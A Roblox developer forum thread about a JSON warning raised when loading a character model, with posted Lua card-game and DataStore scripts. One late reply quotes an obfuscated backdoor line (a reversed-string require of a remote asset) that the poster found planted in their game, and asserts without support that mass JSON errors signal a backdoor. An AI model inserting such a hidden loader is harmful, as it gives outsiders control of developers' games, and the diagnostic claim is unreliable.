Layered Accessories JSON is invalid! error when inserting model

I used InsertService:LoadAsset() on a model that is a copy of my player character, and I get this warning, it doesn’t seem to entail anything harmful, but what does it mean?

1 Like

Send exact script you used so that I can see what you are doing.

Ok, but it’s kind of long and messy (I think).

Actually, upon inspecting further, the warning comes not from a script, but roblox studio itself.

Send the script or else no one will help. PLEASE, I am trying to help you.

Ok…

local Card = {}

Card.__index = Card

function Card.new(Properties , player)
	self = setmetatable({} , Card)
	self.Name = "boyparis"
	
	self.Color = 6865280869
	self.Image = 6873565000
	self.Power = 500
	self.Health = 500
	
	do --Read only properties
		self.WhiteCost = 10
		self.RedCost = 10
		self.BlueCost = 10
		self.GreenCost = 10
		self.YellowCost = 10
		
		self.Counters = 0
		self.Slot = "Deck"
	end
	
	self.Owner = player
	self.Events = {}
	
	do -- Events
		self.Events.DamageTaken = {}
		self.Events.Destroyed = {}
		self.Events.Targeted = {}
		self.Events.AttackChanged = {}
		self.Events.TurnEnd = {}
		self.Events.TurnStart = {}
		self.Events.CardDrawn = {}
		self.Events.CardDestroyed = {}
		self.Events.OnSelfCast = {}
		self.Events.OnAllyCast = {}
		self.Events.OnEnemyCast = {}
		self.Events.EnemyDestroyed = {}
		self.Events.AllyDestroyed = {}
	end
		
	for i , v in pairs(Properties) do
		if self[i] then
			self[i] = v
		end
	end
	
	self.Model = game.InsertService:LoadAsset(Properties.Model or 6892715376):FindFirstChildWhichIsA("Model")
	
	local success , result = xpcall( self:RenewGui(), 
		function(err)
			warn(tostring(err) , debug.info() )
			return false, err
	end)

	self.CardObject = result
end

function Card:SpawnModel(slotGui)
	
	local effect = game.ReplicatedStorage.CastEffect:Clone() --Spawn effect
	effect:SetPrimaryPartCFrame(slotGui.Parent.CFrame - Vector3.new(0,6,0)) --Make it appear in the correct slot
	effect.Parent = workspace

	local tween = game:GetService("TweenService"):Create(effect.PrimaryPart,TweenInfo.new(0.35),{CFrame = CFrame.new((effect.PrimaryPart.Position + Vector3.new(0,8,0))) * CFrame.Angles(0,math.rad(120),0)}) --Tween 
	tween:Play()
	tween.Completed:Wait()

	local model = self.Model
	model:SetPrimaryPartCFrame(self.Parent.Parent.CFrame)
	model:SetPrimaryPartCFrame(CFrame.new(model.PrimaryPart.Position + Vector3.new(0,6,0)))
	model.Parent = self.CardObject
	model.Humanoid.Animator:LoadAnimation(model.IdleAnimation):Play()

	local tween = game:GetService("TweenService"):Create(effect.PrimaryPart,TweenInfo.new(0.2),{CFrame =(effect.PrimaryPart.CFrame * CFrame.Angles(0,math.rad(240),0))}) --Tween 
	tween:Play()
	tween.Completed:Wait()	

	local tween = game:GetService("TweenService"):Create(effect.PrimaryPart,TweenInfo.new(0.2),{CFrame = (effect.PrimaryPart.CFrame * CFrame.Angles(0,math.rad(360),0))}) --Tween 
	tween:Play()
	tween.Completed:Wait()	
	effect:Destroy()
end

function Card:RenewGui()
	
	local InsertService = game:GetService("InsertService")
	local BorderDec =  InsertService:LoadAsset(tonumber(self.Color))
	local DisplayDec =  InsertService:LoadAsset(self.Image)
	local card =  game.ReplicatedStorage.EmptyCard:Clone()
	card.Name = self.Name
	card.NameLabel.Text = self.Name
	card.Border.Image = BorderDec.Decal.Texture
	card.Display.Image = DisplayDec.Decal.Texture 
	BorderDec:Destroy()
	DisplayDec:Destroy()
	card.Power.Text = self.Power
	card.Health.Text = self.Health
	card.ModelVal.Value = self.Model
	local distance = 0.13

	local colors = {"White","Yellow","Green","Blue","Red",}

	for i , color in pairs(colors) do

		card.Costs[color].CostLabel.Text = self[color .. "Cost"]

		if tonumber(card.Costs[color].CostLabel.Text) <= 0 then 
			card.Costs[color].Visible = false
		else
			card.Costs[color].Position = UDim2.new(distance,0,0.91, 0)
			distance += 0.075
		end
	end

	return card
end

Card.CardCache = {}

Card.DefaultCards = {
	Card.new({
		["Name"] = "Nil",
		["Color"] = 6865283271,
		["Image"] = 6865303020,
		["Power"] = 50,
		["Health"] = 50,
		["WhiteCost"] = 1,
		["RedCost"] = 1,
		["BlueCost"] = 1,
		["GreenCost"] = 0,
		["YellowCost"] = 0,
		["Model"] = 6892715376
	}),
	Card.new({
		["Name"] = "Nil",
		["Color"] = 6865283271,
		["Image"] = 6865303020,
		["Power"] = 50,
		["Health"] = 50,
		["WhiteCost"] = 1,
		["RedCost"] = 1,
		["BlueCost"] = 1,
		["GreenCost"] = 0,
		["YellowCost"] = 0,
		["Model"] = 6892715376
	}),
	Card.new({
		["Name"] = "Nil",
		["Color"] = 6865281448,
		["Image"] = 6865303020,
		["Power"] = 50,
		["Health"] = 50,
		["WhiteCost"] = 1,
		["RedCost"] = 1,
		["BlueCost"] = 1,
		["GreenCost"] = 0,
		["YellowCost"] = 0,
		["Model"] = 6892715376
	}),
	Card.new({
		["Name"] = "Nil",
		["Color"] = 6865282008,
		["Image"] = 6865303020,
		["Power"] = 50,
		["Health"] = 50,
		["WhiteCost"] = 1,
		["RedCost"] = 1,
		["BlueCost"] = 1,
		["GreenCost"] = 0,
		["YellowCost"] = 0,
		["Model"] = 6892715376
	}),
	Card.new({
		["Name"] = "Nil",
		["Color"] = 6865280869,
		["Image"] = 6865303020,
		["Power"] = 50,
		["Health"] = 50,
		["WhiteCost"] = 1,
		["RedCost"] = 1,
		["BlueCost"] = 1,
		["GreenCost"] = 0,
		["YellowCost"] = 0,
		["Model"] = 6892715376
	}),
	Card.new({
		["Name"] = "Nil",
		["Color"] = 6865282709,
		["Image"] = 6865303020,
		["Power"] = 50,
		["Health"] = 50,
		["WhiteCost"] = 1,
		["RedCost"] = 1,
		["BlueCost"] = 1,
		["GreenCost"] = 0,
		["YellowCost"] = 0,
		["Model"] = 6892715376
	}),
}
return Card

It’s not that bad right?

You definitely weren’t lieing. What is the model your trying to insert?

eww metatables…

It’s a simple rig. But I Just realised that script didn’t cause the warning, let me send the other, shorter, probably not as messy script
||also why are metatables bad?||

local Players = game:GetService("Players")
local DataStoreService = game:GetService("DataStoreService")

local CardStore = DataStoreService:GetDataStore("PlayerCardListTEST")

local CardService = require(game.ReplicatedStorage.Modules.CardModule)
local MatchService = require(game.ReplicatedStorage.Modules.MatchService)
local CardCache = {}


local function deepCopy(original)

	local copy = {}
	for k, v in pairs(original) do
		if type(v) == "table" then
			v = deepCopy(v)
		end
		copy[k] = v
	end
	return copy
end

local function playerAdded(player)
	
	local success, data = pcall(function ()
		return CardStore:GetAsync(player.UserId)
	end)
	
	if success then
		if data then
			CardCache[player.UserId] = data

			local tempcache = deepCopy(CardCache[player.UserId])
			MatchService.TemporaryCache[player.UserId] = tempcache
		else
			CardCache[player.UserId] = CardService.DefaultCards

			local tempcache = deepCopy(CardCache[player.UserId])
			MatchService.TemporaryCache[player.UserId] = tempcache
		end
	else
		-- Handle case of error; kick, block saving, etc.
		warn(string.format("Could not load data for %s: %s", player.Name, data))
	end

	CardService.CardCache = CardCache

end

did you ever fix this problem, i’m getting a JSON error thing too

Actually i did, the issue seems to be cyclical table references, i.e value in table a equals table b, value in table b equals table a, check for any instance of that in your code.

After combing through code I found out it was a malicious backdoor line of code creating HTTP requests.

  getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)

if you ever get x4999+ JSON request errors it means your place has a backdoor and there’s a line of code being spread throughout prexisting scripts in your game. Cause of this is definitely a fake/faulty plug-in or roblox github injection of some sort

3 Likes

Well that’s weird, removing the cyclycal table references solved the error for me, it could be that both provide sets of data that don’t allow the script to be read in it’s entirety?